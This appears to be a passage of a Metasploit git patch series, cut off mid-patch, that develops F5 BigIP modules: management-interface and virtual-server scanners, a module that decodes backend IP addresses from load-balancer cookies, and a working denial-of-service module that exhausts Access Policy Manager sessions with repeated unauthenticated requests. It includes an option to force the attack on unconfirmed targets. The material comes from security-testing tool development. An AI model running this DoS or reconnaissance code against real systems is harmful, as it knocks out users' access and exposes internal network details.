a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 62c76c31b0..9f62dbee2d 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', 'Nikita Oleksov <neoleksov[at]gmail.com>' ], - 'DefaultOptions' => + 'DefaultOptions' => { 'SSL' => true, 'SSLVersion' => 'TLS1', @@ -96,6 +96,6 @@ class Metasploit3 < Msf::Auxiliary rescue Timeout::Error print_error("#{peer} - HTTP connection timed out") if verbose end - + end end From 040a1af9c53fff5182edba9646aaff0cff6a5409 Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Wed, 25 Mar 2015 02:34:33 -0400 Subject: [PATCH 09/26] Delete useless ecnryption cookie detection, fix minor issues --- .../dos/http/f5_bigip_apm_max_sessions.rb | 56 ++++--- .../gather/f5_bigip_cookie_disclosure.rb | 114 +++++++-------- .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 138 +++++++++--------- 3 files changed, 152 insertions(+), 156 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 55c84feab7..8f4a8f9125 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -22,10 +21,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', - 'Nikita Oleksov <neoleksov[at]gmail.com>', - 'Denis Kolegov <dnkolegov[at]gmail.com>', - ], + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>', + 'Denis Kolegov <dnkolegov[at]gmail.com>' + ], 'References' => [ ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] @@ -47,34 +46,35 @@ class Metasploit3 < Msf::Auxiliary def run # Main function - datastore['SSL']? proto = 'https' : proto = 'http' + rlimit = datastore['RLIMIT'] + proto = datastore['SSL'] ? 'https' : 'http' # Send an initial test request - res = send_request_cgi('method' => 'GET', 'uri' => '/') - if res - print_status("#{peer} - Starting DoS attack") - else - print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options") - return - end + res = send_request_cgi('method' => 'GET', 'uri' => '/') + if res + print_status("#{peer} - Starting DoS attack") + else + print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options") + return + end # Start attack - for i in 1..datastore['RLIMIT'] - res = send_request_cgi('method' => 'GET', 'uri' => '/') - if res and res.headers['Location'] == '/my.logout.php3?errorcode=14' - print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") - print_status("#{peer} - DoS attack is successful") - return; - end + (1..rlimit).each do + res = send_request_cgi('method' => 'GET', 'uri' => '/') + if res && res.headers['Location'] == '/my.logout.php3?errorcode=14' + print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") + print_status("#{peer} - DoS attack is successful") + return end + end # Check if attack is unsuccessfull - res = send_request_cgi('method' => 'GET', 'uri' => uri) - if res.headers['Location'] == '/my.policy' - print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number") - else - print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") - end + res = send_request_cgi('method' => 'GET', 'uri' => uri) + if res.headers['Location'] == '/my.policy' + print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number") + else + print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") + end rescue ::Rex::ConnectionRefused print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP") @@ -84,8 +84,6 @@ class Metasploit3 < Msf::Auxiliary print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached") print_status("#{peer} - DoS attack is unsuccessful") rescue ::OpenSSL::SSL::SSLError - print_error("#{peer} - SSL/TLS connection error") - + print_error("#{peer} - SSL/TLS connection error") end - end diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 6f991d94d6..e0d01894df 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -17,11 +16,13 @@ class Metasploit3 < Msf::Auxiliary This module identifies F5 BigIP load balancers and leaks backend information (pool name, backend's IP address and port, routed domain) through cookies inserted by the BigIP system. }, - 'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>', - 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', - 'Nikita Oleksov <neoleksov[at]gmail.com>', - 'Denis Kolegov <dnkolegov[at]gmail.com>' - ], + 'Author' => + [ + 'Thanat0s <thanspam[at]trollprod.org>', + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>', + 'Denis Kolegov <dnkolegov[at]gmail.com>' + ], 'References' => [ ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], @@ -43,89 +44,90 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def change_endianness(value, size=4) + def change_endianness(value, size = 4) conversion = nil - if size == 4 conversion = [value].pack("V").unpack("N").first elsif size == 2 conversion = [value].pack("v").unpack("n").first end - conversion end def cookie_decode(cookie_value) - if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ - host = $1.to_i - port = $2.to_i + backend = {} + case + when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ + host = Regexp.last_match(1).to_i + port = Regexp.last_match(2).to_i host = change_endianness(host) host = Rex::Socket.addr_itoa(host) port = change_endianness(port, 2) - elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i + when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i host = Rex::Socket.addr_itoa(host) - elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i - host = Rex::Socket.addr_itoa(host, v6=true) + when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i + host = Rex::Socket.addr_itoa(host, true) port = change_endianness(port, 2) - elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i - host = Rex::Socket.addr_itoa(host, v6=true) - elsif cookie_value =~ /!(.){104}/ + when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i + host = Rex::Socket.addr_itoa(host, true) + else host = nil port = nil end - back_end = (host.nil?) ? nil : "#{host}:#{port}" + + backend[:host] = (host.nil?) ? nil : host + backend[:port] = (port.nil?) ? nil : port + backend end def get_cookie # request a page and extract a F5 looking cookie. cookie = {} - res = send_request_raw({ - 'method' => 'GET', - 'uri' => @uri - }) + res = send_request_raw({ 'method' => 'GET', 'uri' => @uri }) unless res.nil? # Get the SLB session IDs for all cases: # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000", # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80", # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480", - # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80", - # 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc" + # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80" - m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/) + regexp = / + ([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)| + (rd\d+o0{20}f{4}\w+o\d{1,5})| + (vi([a-f0-9]{32})\.(\d{1,5}))| + (rd\d+o([a-f0-9]{32})o(\d{1,5}))) + (?:$|,|;|\s) + /x + + m = res.get_cookies.match(regexp) cookie[:id] = (m.nil?) ? nil : m[1] cookie[:value] = (m.nil?) ? nil : m[2] - - end - + end cookie end def run - unless datastore['REQUESTS'] > 0 - print_error("Please, configure more than 0 REQUESTS") - return - end - - back_ends = [] + requests = datastore['REQUESTS'] + backends = [] @uri = normalize_uri(target_uri.path.to_s) print_status("#{peer} - Starting request #{@uri}") - for i in 0...datastore['REQUESTS'] - cookie = get_cookie() # Get the cookie + (1..requests).each do |i| + cookie = get_cookie # Get the cookie # If the cookie is not found, stop process if cookie.empty? || cookie[:id].nil? print_error("#{peer} - F5 BigIP load balancing cookie not found") - break + return end # Print the cookie name on the first request - if i == 0 + if i == 1 print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") if cookie[:id].start_with?('BIGipServer') print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") @@ -133,31 +135,23 @@ class Metasploit3 < Msf::Auxiliary if cookie[:value].start_with?('rd') print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") end - if cookie[:value].start_with?('!') - print_status("#{peer} - F5 BigIP cookie is probably encrypted") - end end - back_end = cookie_decode(cookie[:value]) - unless back_end.nil? || back_ends.include?(back_end) - print_status("#{peer} - Backend #{back_end} found") - back_ends.push(back_end) + backend = cookie_decode(cookie[:value]) + unless backend[:host].nil? || backends.include?(backend) + print_status("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found") + backends.push(backend) end end # Reporting found backends in database - unless back_ends.empty? - report_note( - :host => rhost, - :type => "f5_load_balancer_backends", - :data => back_ends - ) + unless backends.empty? + report_note(host: rhost, type: "f5_load_balancer_backends", data: backends) end rescue ::Rex::ConnectionError print_error("#{peer} - Network connection error") rescue ::OpenSSL::SSL::SSLError - print_error("#{peer} - SSL/TLS connection error") - + print_error("#{peer} - SSL/TLS connection error") end end diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 9f62dbee2d..049cd13fa4 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -6,96 +6,100 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner - - def initialize(info={}) - super( - 'Name' => 'F5 Management Interface Scanner', - 'Description' => %q{ - This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Denis Kolegov <dnkolegov[at]gmail.com>', - 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', - 'Nikita Oleksov <neoleksov[at]gmail.com>' - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 Management Interface Scanner', + 'Description' => %q{ + This module simply detects web management interface of the following F5 Networks devices: BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Denis Kolegov <dnkolegov[at]gmail.com>', + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>' + ], 'DefaultOptions' => { 'SSL' => true, 'SSLVersion' => 'TLS1', - 'RPORT' => 443, - 'VERBOSE' => false + 'RPORT' => 443 } - ) + )) register_options( [ - OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 1000]) + OptInt.new('TIMEOUT', [true, "Timeout for the HTTPS probe in milliseconds", 1000]) ], self.class) + end + def port_open?(to, verbose) + begin + ::Timeout.timeout(to) do + begin + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + return true if res + rescue ::Rex::ConnectionRefused + print_status("#{peer} - TCP port closed") if verbose + return false + rescue ::Rex::ConnectionError + print_error("#{peer} - Connection failed") if verbose + return false + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") if verbose + return false + end + end + rescue Timeout::Error + print_error("#{peer} - HTTP connection timed out") if verbose + return false + end end def run_host(ip) - # Test if a port on a remote host is reachable + # Test if a RPORT on a remote host is reachable using HTTPClient to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 verbose = datastore['VERBOSE'] + return unless port_open?(to, verbose) - begin - ::Timeout.timeout(to) do + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + if res && res.code == 200 - res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) - if res and res.code == 200 + # Detect BigIP management interface + if res.body =~ /<title>BIG\-IP/ + print_status("#{peer} - F5 BigIP web management interface found") + return + end - # Detect BigIP management interface - if res.body =~ /<title>BIG\-IP/ - print_status("#{peer} - F5 BigIP web management interface found") - return - end + # Detect EM management interface + if res.body =~ /<title>Enterprise Manager/ + print_status("#{peer} - F5 Enterprise Manager web management interface found") + return + end - # Detect EM management interface - if res.body =~ /<title>Enterprise Manager/ - print_status("#{peer} - F5 Enterprise Manager web management interface found") - return - end - - # Detect ARX management interface - if res.body =~ /<title>F5 ARX Manager Login<\/title>/ - print_status("#{peer} - ARX web management interface found") - return - end - end - - res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) - - # Detect BigIQ management interface - if res and res.code == 200 and res.body =~ /<title>BIG\-IQ/ - print_status("#{peer} - F5 BigIQ web management interface found") - return - end - # Detect FirePass management interface - res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) - if res and res.code == 200 and res.body =~ /<br><br><br><big><b> FirePass/ - print_status("#{peer} - F5 FirePass web management interface found") - return - end - - end - - rescue ::Rex::ConnectionRefused - print_status("#{peer} - TCP port closed") if verbose - rescue ::Rex::ConnectionError - print_error("#{peer} - Connection failed") if verbose - rescue ::OpenSSL::SSL::SSLError - print_error("#{peer} - SSL/TLS connection error") if verbose - rescue Timeout::Error - print_error("#{peer} - HTTP connection timed out") if verbose + # Detect ARX management interface + if res.body =~ /<title>F5 ARX Manager Login<\/title>/ + print_status("#{peer} - ARX web management interface found") + return + end end + res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/', 'rport' => rport) + + # Detect BigIQ management interface + if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/ + print_status("#{peer} - F5 BigIQ web management interface found") + return + end + + # Detect FirePass management interface + res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) + if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/ + print_status("#{peer} - F5 FirePass web management interface found") + return + end end end From 5d80ef9325b389a85e952b824a45b91329bee035 Mon Sep 17 00:00:00 2001 From: dnkolegov <dnkolegov@gmail.com> Date: Wed, 25 Mar 2015 02:53:36 -0400 Subject: [PATCH 10/26] Fix minor issues --- modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index e0d01894df..ad9ea4befb 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -148,7 +148,6 @@ class Metasploit3 < Msf::Auxiliary unless backends.empty? report_note(host: rhost, type: "f5_load_balancer_backends", data: backends) end - rescue ::Rex::ConnectionError print_error("#{peer} - Network connection error") rescue ::OpenSSL::SSL::SSLError From c9e8f9cbea04fd2d5f876cbb5a56fecfe94f76b5 Mon Sep 17 00:00:00 2001 From: Denis Kolegov <dnkolegov@gmail.com> Date: Fri, 3 Apr 2015 02:30:03 -0400 Subject: [PATCH 11/26] Add BigIP HTTP VS scanner and fix connection errors --- .../scanner/http/f5_bigip_http_vs_scanner.rb | 89 +++++++++++++++++++ .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 2 + 2 files changed, 91 insertions(+) create mode 100644 modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb new file mode 100644 index 0000000000..fd6edadd61 --- /dev/null +++ b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP HTTP Virtual Server Scanner', + 'Description' => %q{ + This module scans network for BigIP HTTP virtual servers based on simple + banner grabbing technique. BigIP system uses different HTTP profiles for + managing HTTP traffic. In particular, BIG-IP system uses HTTP profile that + specifies the string used as the server agent name in traffic generated by LTM. + The default value is equal to "BigIP" or "BIG-IP" and depends on BigIP system version. + }, + 'Author' => + [ + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>', + 'Denis Kolegov <dnkolegov[at]gmail.com>', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'], + ] + )) + + register_options( + [ + OptString.new('PORTS', [true, "Ports to scan (e.g. 80-81,443,8080-8090)", "80,443"]), + OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]), + ], self.class) + + deregister_options('RPORT','RHOST') + end + + def bigip_http?(ip, port, ssl, verbose = false) + begin + timeout = (datastore['TIMEOUT'] || 1000).to_f / 1000.0 + ::Timeout.timeout(timeout) do + begin + res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => port, 'SSL' => ssl) + if res + server = res.headers['Server'] + return true if server =~ /BIG\-IP/ || server =~ /BigIP/ + end + rescue ::Rex::ConnectionRefused + print_status("#{ip}:#{port} - TCP port closed") if verbose + rescue ::Rex::ConnectionError + print_error("#{ip}:#{port} - Connection error") + rescue ::OpenSSL::SSL::SSLError + print_error("#{ip}:#{port} - SSL/TLS connection error") + rescue => e + print_error("#{ip}:#{port} - Connection failed") if verbose + end + end + rescue Timeout::Error + print_error("#{ip}:#{port} - HTTP connection timed out") if verbose + end + return false + end + + def run_host(ip) + verbose = datastore['VERBOSE'] + ports = Rex::Socket.portspec_crack(datastore['PORTS']) + fail Msf::OptionValidateError.new(['PORTS']) if ports.empty? + ports.each do |port| + next if port == 443 + if bigip_http?(ip, port, ssl = false, verbose) + print_status("#{ip}:#{port} - BigIP HTTP virtual server found") + end + end + + ports.each do |port| + next if port == 80 + if bigip_http?(ip, port, ssl = true, verbose) + print_status("#{ip}:#{port} - BigIP HTTP virtual server found") + end + end + + end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 049cd13fa4..1a1763f0c3 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -51,6 +51,8 @@ class Metasploit3 < Msf::Auxiliary rescue ::OpenSSL::SSL::SSLError print_error("#{peer} - SSL/TLS connection error") if verbose return false + rescue => e + print_error("#{peer} - Connection failed") if verbose end end rescue Timeout::Error From f95774c6b4f78896c52db8d6d6749e4c00de3100 Mon Sep 17 00:00:00 2001 From: Denis Kolegov <dnkolegov@gmail.com> Date: Sat, 2 May 2015 05:09:03 -0400 Subject: [PATCH 12/26] Fixed bugs --- .../dos/http/f5_bigip_apm_max_sessions.rb | 25 +++++++++++++------ .../scanner/http/f5_bigip_http_vs_scanner.rb | 1 + .../auxiliary/scanner/http/f5_mgmt_scanner.rb | 4 +-- 3 files changed, 21 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 8f4a8f9125..86b597f49b 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -7,6 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, @@ -40,7 +41,8 @@ class Metasploit3 < Msf::Auxiliary [ OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]), OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), - OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]) + OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), + OptBool.new('IGNOREMISMATCH', [true, 'Proceed with attack only if BigIP virtual server was detected', false]), ], self.class) end @@ -48,13 +50,22 @@ class Metasploit3 < Msf::Auxiliary # Main function rlimit = datastore['RLIMIT'] proto = datastore['SSL'] ? 'https' : 'http' + ignore_mismatch = datastore['IGNOREMISMATCH'] # Send an initial test request res = send_request_cgi('method' => 'GET', 'uri' => '/') if res - print_status("#{peer} - Starting DoS attack") + server = res.headers['Server'] + # Simple test based on HTTP Server header to detect BigIP virtual server + unless ignore_mismatch + if server !~ /BIG\-IP/ && server !~ /BigIP/ + print_error("#{peer} - BigIP virtual server was not detected. Please check options") + return + end + end + print_good("#{peer} - Starting DoS attack") else - print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options") + print_error("#{peer} - Unable to connect to BigIP. Please check options") return end @@ -62,8 +73,8 @@ class Metasploit3 < Msf::Auxiliary (1..rlimit).each do res = send_request_cgi('method' => 'GET', 'uri' => '/') if res && res.headers['Location'] == '/my.logout.php3?errorcode=14' - print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") - print_status("#{peer} - DoS attack is successful") + print_good("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time") + print_good("#{peer} - DoS attack is successful") return end end @@ -77,9 +88,9 @@ class Metasploit3 < Msf::Auxiliary end rescue ::Rex::ConnectionRefused - print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP") + print_error("#{peer} - Unable to connect to BigIP") rescue ::Rex::ConnectionTimeout - print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP. Please check options") + print_error("#{peer} - Unable to connect to BigIP. Please check options") rescue ::Errno::ECONNRESET print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached") print_status("#{peer} - DoS attack is unsuccessful") diff --git a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb index fd6edadd61..be3b5e8e32 100644 --- a/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_bigip_http_vs_scanner.rb @@ -75,6 +75,7 @@ class Metasploit3 < Msf::Auxiliary next if port == 443 if bigip_http?(ip, port, ssl = false, verbose) print_status("#{ip}:#{port} - BigIP HTTP virtual server found") + ports.delete(port) end end diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb index 1a1763f0c3..d65ef170b7 100644 --- a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary begin ::Timeout.timeout(to) do begin - res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + res = send_request_raw('method' => 'GET', 'uri' => '/') return true if res rescue ::Rex::ConnectionRefused print_status("#{peer} - TCP port closed") if verbose @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary verbose = datastore['VERBOSE'] return unless port_open?(to, verbose) - res = send_request_raw('method' => 'GET', 'uri' => '/', 'rport' => rport) + res = send_request_raw('method' => 'GET', 'uri' => '/') if res && res.code == 200 # Detect BigIP management interface From c0f21c3ae1a0cde7aa9513a44b7780da29053de5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 13:19:23 -0500 Subject: [PATCH 13/26] Fix metadata --- .../dos/http/f5_bigip_apm_max_sessions.rb | 29 ++++++++++--------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index 86b597f49b..d9debce20b 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -11,14 +11,17 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'F5 BigIP APM Unauthenticated Session Exhaustion Denial of Service', + 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service', 'Description' => %q{ - An unauthenticated attacker can establish multiple connections with BigIP Access Policy Manager - and exhaust all available sessions defined in customer\'s license. - In the first step of BigIP APM protocol the client sends a HTTP request. - The BigIP system creates a session, marks it as progress (pending) and then redirects client to access policy URI. - Since BigIP allocates a new session after the first unauthenticated request and deletes the session only if an access policy timeout will be expired - the attacker can exhaust all available sessions repeatedly sending initial HTTP request. + This module exploits a resource exhaustion denial of service in F5 BigIP devices. An + unauthenticated attacker can establish multiple connections with BigIP Access Policy + Manager (APM) and exhaust all available sessions defined in customer license. In the + first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP + system creates a session, marks it as pending and then redirects the client to an access + policy URI. Since BigIP allocates a new session after the first unauthenticated request, + and deletes the session only if an access policy timeout expires, the attacker can exhaust + all available sessions by repeatedly sending the initial HTTP request and leaving the + sessions as pending. }, 'Author' => [ @@ -33,16 +36,16 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'DefaultOptions' => { - 'SSLVersion' => 'TLS1' + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443 } )) register_options( [ - OptPort.new('RPORT', [true, 'The BigIP service port to listen on', 443]), - OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), - OptBool.new('IGNOREMISMATCH', [true, 'Proceed with attack only if BigIP virtual server was detected', false]), + OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual isn\'t detected', false]) ], self.class) end @@ -50,14 +53,14 @@ class Metasploit3 < Msf::Auxiliary # Main function rlimit = datastore['RLIMIT'] proto = datastore['SSL'] ? 'https' : 'http' - ignore_mismatch = datastore['IGNOREMISMATCH'] + force_attack = datastore['FORCE'] # Send an initial test request res = send_request_cgi('method' => 'GET', 'uri' => '/') if res server = res.headers['Server'] # Simple test based on HTTP Server header to detect BigIP virtual server - unless ignore_mismatch + unless force_attack if server !~ /BIG\-IP/ && server !~ /BigIP/ print_error("#{peer} - BigIP virtual server was not detected. Please check options") return From 60c2c7a7cd534c53a64062effacfbc066d19c8da Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 13:19:39 -0500 Subject: [PATCH 14/26] Delete unused variable --- modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index d9debce20b..cb038bc369 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -52,7 +52,6 @@ class Metasploit3 < Msf::Auxiliary def run # Main function rlimit = datastore['RLIMIT'] - proto = datastore['SSL'] ? 'https' : 'http' force_attack = datastore['FORCE'] # Send an initial test request From 7e62ba85a17a5f302054db7b31f6f449134615c8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 8 May 2015 13:33:28 -0500 Subject: [PATCH 15/26] Do code cleanup --- .../dos/http/f5_bigip_apm_max_sessions.rb | 48 ++++++++----------- 1 file changed, 21 insertions(+), 27 deletions(-) diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index cb038bc369..68565ba3ef 100644 --- 